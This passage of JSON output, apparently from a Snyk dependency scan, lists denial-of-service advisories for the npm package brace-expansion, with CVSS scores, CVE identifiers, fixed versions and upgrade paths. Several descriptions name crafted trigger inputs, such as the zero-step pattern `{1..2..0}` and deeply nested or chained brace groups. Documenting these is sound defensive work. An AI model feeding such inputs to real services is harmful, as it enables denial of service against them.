"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
